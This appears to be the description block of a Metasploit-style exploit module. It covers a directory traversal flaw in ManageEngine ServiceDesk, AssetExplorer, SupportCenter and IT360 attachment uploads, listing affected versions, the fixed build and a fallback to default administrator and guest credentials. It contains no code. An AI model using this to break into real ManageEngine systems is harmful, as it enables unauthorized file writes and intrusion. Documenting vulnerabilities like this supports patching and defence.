|
|
This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk,
|
|
AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts
|
|
the upload does not handle correctly '../' sequences, which can be abused to write
|
|
to the file system. Authentication is needed to exploit this vulnerability, but this module
|
|
will attempt to login using the default credentials for the administrator and guest
|
|
accounts. Alternatively, you can provide a pre-authenticated cookie or a username / password.
|
|
For IT360 targets, enter the RPORT of the ServiceDesk instance (usually 8400). All
|
|
versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer,
|
|
SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this
|
|
module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been
|
|
been tested successfully in Windows and Linux on several versions.
